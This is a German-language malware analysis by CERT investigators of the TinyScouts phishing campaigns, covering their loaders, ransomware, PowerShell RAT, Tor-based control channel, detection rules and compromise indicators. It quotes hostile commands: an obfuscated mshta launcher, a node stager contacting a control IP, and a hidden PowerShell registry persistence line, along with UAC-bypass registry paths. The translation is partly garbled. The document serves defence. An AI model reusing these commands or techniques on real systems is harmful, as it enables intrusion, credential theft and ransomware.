Etwas härter als es aussieht: Wie TinyScouts angreifen

Vor einiger Zeit haben wir damit begonnen, Versuche aufzuzeichnen, die Infrastruktur unserer Kunden mit bisher unbekannter Malware zu infizieren. Es wurde den Benutzern über Phishing-E-Mails zugestellt, die manchmal der zweiten Welle des Coronavirus gewidmet waren, und manchmal - deutlich "geschärft" für die angegriffene Organisation und im Zusammenhang mit ihren Aktivitäten. Die Eindringlinge gaben vor, verschiedene bestehende Unternehmen zu sein, zum Beispiel Norilsk Nickel, die Russische Union der Industriellen und Unternehmer, Finauditservice usw.







Zwei Aspekte der Aktivitäten der Gruppe waren bemerkenswert: erstens die hohen technischen Fähigkeiten der Angreifer und zweitens die Variabilität des Angriffsszenarios. Wenn Sie als Opfer nicht interessant sind, stehlen sie Kennwörter und verschlüsseln Daten. Befindet sich Ihr Computer jedoch in einer interessanten Domäne und hat das Potenzial für eine interessantere Angriffsentwicklung, laden sie das in PowerShell geschriebene Remote Admin Tool (RAT) herunter. Wir haben die Gruppierung TinyScouts nach den Namen der Funktionen aus dem Schadcode benannt. In diesem Artikel werden wir Ihnen von ihren letzten beiden Kampagnen erzählen, die bedingt nach Monaten unterteilt werden können - Juli und August 2020 - und wir werden eine vollständige Analyse der TinyScouts-Tools und -Skripte durchführen.



Juli Kampagne. Direkter Download





Im Juli wurde die Malware in Form einer lnk-Datei verteilt, die den folgenden Befehl ausführte:



%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)


Als Ergebnis der Ausführung von mshta.exe wurde das verschleierte JS-Skript ausgeführt. Seine Aufgabe besteht darin, ein Dokument zur Ablenkung aus dem Hauptteil der lnk-Datei zu extrahieren, es über rundll32.exe zu öffnen und den verschleierten PowerShell-Befehl auszuführen. Ein Fragment des Skripts nach der Deobfuscation wird unten gezeigt:







Das Skript in der Variablen toexecute wird geladen und führt ein anderes verschleiertes PowerShell-Skript mit dem Namen Decide aus (Anfrage zur Entscheidung.php). Ein Beispiel für die Verschleierung finden Sie unten:







Die Aufgabe dieses Skripts besteht darin, den Computer auf Übereinstimmung mit einigen Parametern zu überprüfen und die nächste Last von den Servern herunterzuladen. Ein Ausschnitt des deobfuscierten Codes ist unten dargestellt:







Das Vorhandensein von TeamViewer, RDP-Sitzungen und die Tatsache, dass Sie sich bei der Domäne anmelden, werden überprüft, um festzustellen, welche Last heruntergeladen werden muss. Bei einem "interessanten" System wird die RAT geladen, ansonsten der Verschlüsseler. In beiden Fällen handelt es sich um Skripte, die in mehreren Ebenen verschleiert sind.



August-Kampagne (laufend). Tor versteckte Dienste







Anfang August änderte sich das Verteilungsschema: Jetzt enthielten die Briefe einen Link zum Herunterladen des sfx-Archivs, das 4 Dateien enthält:



  • document.doc. Ein Dokument, das zur Ablenkung geöffnet wird und keine böswillige Nutzlast enthält.
  • 7za.exe. 7z - Archivierer.
  • wget.exe. Das ursprüngliche Wget-Dienstprogramm.
  • Bedienung. JS-Skript Stager 1


Beim Starten des sfx-Archivs werden folgende Aktionen ausgeführt:



1) document.doc wird geöffnet



2) TOR und node.exe werden mit wget und 7z über die folgenden Links heruntergeladen und entpackt:



www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip



nodejs.org/dist/latest-carbon/win-x86/node.exe



3) Mit node.exe wird das Skript Stager 1 gestartet:



C: \ Windows \ System32 \ cmd.exe "/ c if nicht vorhanden Hostname (Knotendienst 192.248 [.] 165.254)



Nachfolgend finden Sie das deobfuscated Stager 1-Skript:







Das Service-Skript empfängt die Adresse des Steuerungsservers als Argument und erstellt beim Start den TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). Es ist anzumerken, dass beim Starten des versteckten TOR-Dienstes sein Name generiert wird (er ähnelt dem Namen einer regulären Ressource im TOR-Netzwerk, z. B. vkss134jshs22yl3li2ul.onion). Als Nächstes sendet das Skript den generierten Hidden Service-Namen an den Angreifer und ruft den lokalen Webserver auf. Anschließend kommuniziert der Angreifer mit dem infizierten System im Anforderungs- / Antwortmodus mit dem Webserver (Zeile 19 im Code), wo die Anforderungen den Code zur Ausführung enthalten und die Antworten die Ergebnisse enthalten.



Diese Architektur ermöglicht es einem Angreifer, auf ein infiziertes System zuzugreifen, selbst wenn es sich hinter NAT befindet (die Hauptbedingung ist das Vorhandensein des Internets), und macht es unnötig, die "weiße" IP-Adresse des Opfers zu kennen.



Die erste Anforderung an den erhöhten Webserver erfolgt über das Decider-Skript, dessen Aufgabe es ist, die Tatsache zu ermitteln, dass der Computer der Domäne beitritt, und den Benutzernamen abzurufen. Diesmal gibt es keine Überprüfungen für TeamViewer und RDP:







Nachdem die Ergebnisse des Decider-Skripts an den Angreifer gesendet wurden, kommt je nach Interesse des Angreifers eine Webanforderung bei dem infizierten System an, das entweder die Ransomware oder die RAT enthält.







Gemeinsame Module in beiden Kampagnen



Stager 3-Skript



Das Hauptskript enthält 5 in base64 codierte Komponenten:



  • Ransomware verschlüsseln
  • Readme
  • WebBrowserPassView
  • Mail PassView
  • Injector. , WebBrowserPassView Mail PassView svchost. RunPE.


Funktionen des Stager 3-Skripts :



1) Starten der Ransomware (Get-Stuff-Funktion)



Nachfolgend finden Sie ein Fragment des Skriptcodes beim Starten der Ransomware:







2)



Umgehen der Benutzerkontensteuerung (zum Entfernen von Schattenkopien) Der Code enthält drei Techniken: Verwenden von csmtp.exe, CompMgmtLauncher.exe und fodhelper.exe. Sie können hier , hier und hier darüber lesen .



3) Entfernen von Schattenkopien



4) Starten



von WebBrowserPassView und Mail PassView Dies sind Dienstprogramme von Nirsoft zum Extrahieren von Kennwörtern aus Browsern bzw. E-Mail-Clients.











5) Senden von Berichten über die oben genannten Dienstprogramme an den Verwaltungsserver.



Vor dem Senden werden Berichte mit dem RC4-Algorithmus mit einem generierten Schlüssel (4 Zeichen) verschlüsselt:







Der Schlüssel selbst steht am Anfang der Nachricht:







Ransomware verschlüsseln



Die Readme-Nachricht sieht folgendermaßen aus:







Der Verschlüsseler ist eine ausführbare .NET-Datei ohne Verschleierung. Dateien werden mit dem AES-Algorithmus verschlüsselt. Für jede Datei wird ein separater Schlüssel und Initialisierungsvektor generiert, der dann mit dem öffentlichen RSA-Schlüssel verschlüsselt und in der verschlüsselten Datei abgelegt wird. Die Hauptfunktion der Ransomware ist unten dargestellt:







RATTE



Dieses Skript hat mehrere Verschleierungsebenen. Nach der Entschlüsselung können die folgenden Befehle ausgeführt werden:



  • löschen - Selbstlöschung
  • exec - Führt einen PowerShell-Befehl aus
  • download - lade die Datei herunter
  • set_wait_time - Ändert die Häufigkeit von Befehlsanforderungen
  • update_tiny - RAT aktualisieren
  • run_module - Führen Sie einen PowerShell-Befehlsblock aus
  • add_persist_module - Fügen Sie dem System ein PowerShell-Modul hinzu, das bei jedem Start der RAT ausgeführt wird.
  • remote_persist_module - Entfernen Sie ein Modul aus der RAT-Startliste.


Die deobfuscated Befehlsverarbeitungsfunktion ist unten gezeigt:







Befestigungsmethode



Zum



Fixieren werden zwei Schlüssel verwendet: 1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. Der folgende Befehl wird in diese Taste eingefügt (die Zeile ist deobfuscated):



cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»


2) HKCU \ SOFTWARE \ Microsoft \ Windows. Hier wird das Skript in einem Wert namens client_id gespeichert. Wenn das System gestartet wird, liest der Befehl von der Run-Taste das Skript und führt es von hier aus aus.

client_id - eine Zeichenfolge im AppX + base64-Format (Hostname + Benutzername + Kampagnen-ID)



Die Pinning-Funktion sieht folgendermaßen aus:







Entschlüsseltes Skript, das in Ausführen abgelegt wird:







Es ist zu beachten, dass der Malware-Code weder auf der Festplatte noch in der Registrierung gespeichert wird: Er wird jedes Mal neu geladen mit dem obigen Skript.



Befehl Add_persist_module



RAT kann PowerShell-Module hinzufügen, die bei jedem Start ausgeführt werden. Hierzu wird ein separater Registrierungsschlüssel verwendet, in dem Modulkennungen gespeichert sind. Während des Startvorgangs wird dieser Schlüssel überprüft, und die Malware sendet eine Anforderung an den Server und lädt alle Module anhand ihrer Kennungen herunter.







Wenn die Malware gestartet wird, wird die Funktion Load-AllPersistModules gestartet, um alle hinzugefügten Module zu starten: Der Modulcode wird







weder auf Datenträgern noch in der Registrierung gespeichert, wie der Hauptteil der RAT.



Serverinteraktionen



Der Code enthält die CampaignID-Konstante, die beim Registrieren der RAT beim Start (register-tiny-Funktion) als Verschlüsselungsschlüssel verwendet wird. Der Verschlüsselungsalgorithmus ist RC4. Nach dem Senden der primären Informationen über das System enthält die Serverantwort den Verschlüsselungsschlüssel, der in Zukunft mit demselben Algorithmus verwendet wird.







Technische Aspekte der Ermittlung von Kampagnendaten



Bei der Beantwortung der Frage, wie dies oder jenes erkannt werden kann, versuchen wir, alle Regeln in zwei große Gruppen zu unterteilen:



  • Erkennung systemweiter Anomalien,
  • Anomalieerkennung für ein bestimmtes Unternehmen / eine bestimmte Familie / ein bestimmtes Instrument.


Systemweite Erkennung von Anomalien



Interaktion mit Zwischenservern und n:

In der Juli-Kampagne reicht es zum Erkennen und Blockieren dieser Aktivität aus, IP-Adressen und Domänennamen zu den Sperrlisten hinzuzufügen, ohne zu vergessen, Versuche zu überwachen, auf diese zuzugreifen.



Im August wurde es für Unternehmen mit dem Aspekt der Netzwerkerkennung schwieriger, und hier lohnt es sich, Folgendes zu beachten:



  • Wir können weiterhin einige der IP-Adressen und Domänennamen für die Überwachung blockieren und entfernen.
  • Das Vorhandensein von Netzwerkaktivitäten durch TOR zwingt uns, die Listen der IP-Adressen, die am Aufbau dieses Netzwerks beteiligt sind, zu speichern und dynamisch zu aktualisieren. Und hier kann für uns die Erkennungsregel ein Aufruf an eine IP-Adresse aus dem TOR-Netzwerk sein.
  • , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .


Für beide Kampagnen funktioniert eine Reihe von IDS-Regeln, die darauf abzielen, verwendete bestimmte PowerShell-Methoden oder deren Base64-konvertierte Form zu erkennen, recht gut.



Ausführen von Code auf dem



Zielsystem Es gibt zwei Ereignisquellen: Windows Audit und Sysmon.



PowerShell-Skriptblockprotokollierung



Das Protokoll, das die Datensätze der ausgeführten PowerShell-Skripts enthält. Befindet sich im folgenden Pfad: Anwendungs- und Dienstprotokolle> Microsoft> Windows> Powershell> Operational.



Erkennungsregeln, die darauf abzielen, bestimmte verwendete PowerShell-Methoden zu erkennen, können die Aktivität dieser Kampagnen gut erkennen.



Start des Sicherheitsprotokoll- (oder Sysmon-)



Prozesses - 4648 (1)



Um diese Aktivität zu erkennen, sind klassische Regeln zur Erkennung von Anomalien in Bezug auf Vater -> Kind-Prozesse erforderlich. Diese Bundles werden während des Startvorgangs auf dem Host gut verfolgt: md-> mshta, cmd-> Powershell, mshta-> Powershell, rar-> rundll32, node-> wmic. Eine



Regel zum Verfolgen verdächtiger Parameter von Startprozessen kann ebenfalls hilfreich sein: Powershell -e “base64 »



Netzwerkverbindung verarbeiten - 5156 (3)



Die Regel zum Erkennen der Netzwerkverbindung vom PowerShell-Prozess zu weißen IP-Adressen sollte zur Erkennung dieser Aktivität beitragen.



Während der August-Kampagne helfen auch die Regeln zum Erkennen des internen Proxy-Datenverkehrs für 127.0.0.1 erheblich (dies tun TOR und der lokale Webserver).



Registereintrag - 4657 (13)



In PowerShell geschriebene RAT behält ihre Präsenz über den allgemeinen Registrierungszweig HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run bei. Dies bedeutet, dass die Regel für die Überwachung von Datensätzen entlang dieses Pfads unsere Option ist.



Erkennung von Versuchen, die UAC-Technologie zu umgehen: Änderungen in den folgenden Registrierungszweigen -



HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration


Anomalieerkennung für ein bestimmtes Unternehmen / eine bestimmte Familie / ein bestimmtes Instrument



Ausführen des Codes auf dem Zielsystem Starten von



Prozessen - 4648 (1)



Hier benötigen Sie eine Regel, um verdächtige Parameter beim Starten von Prozessen zu verfolgen: C: \ Windows \ System32 \ cmd.exe "/ c, falls nicht vorhanden Hostname (Knotendienst)

Schreiben in die Registrierung - 4657 (13 )



Die in PowerShell geschriebene RAT bleibt auch über die Zweigregistrierung HKCU \ SOFTWARE \ Microsoft \ Windows präsent. Daher müssen wir zur Erkennung die Datensatzwerte «client_id» auf diesem Pfad verfolgen.



Kompromisse bei den Indikatoren:



a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254 
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170


Autoren des Beitrags:



Igor Zalevsky, Leiter der Abteilung für die Untersuchung von Cyber-Vorfällen des JSOC CERT

Asker Jamirze, Experte für technische Untersuchungen der JSOC CERT-Abteilung



All Articles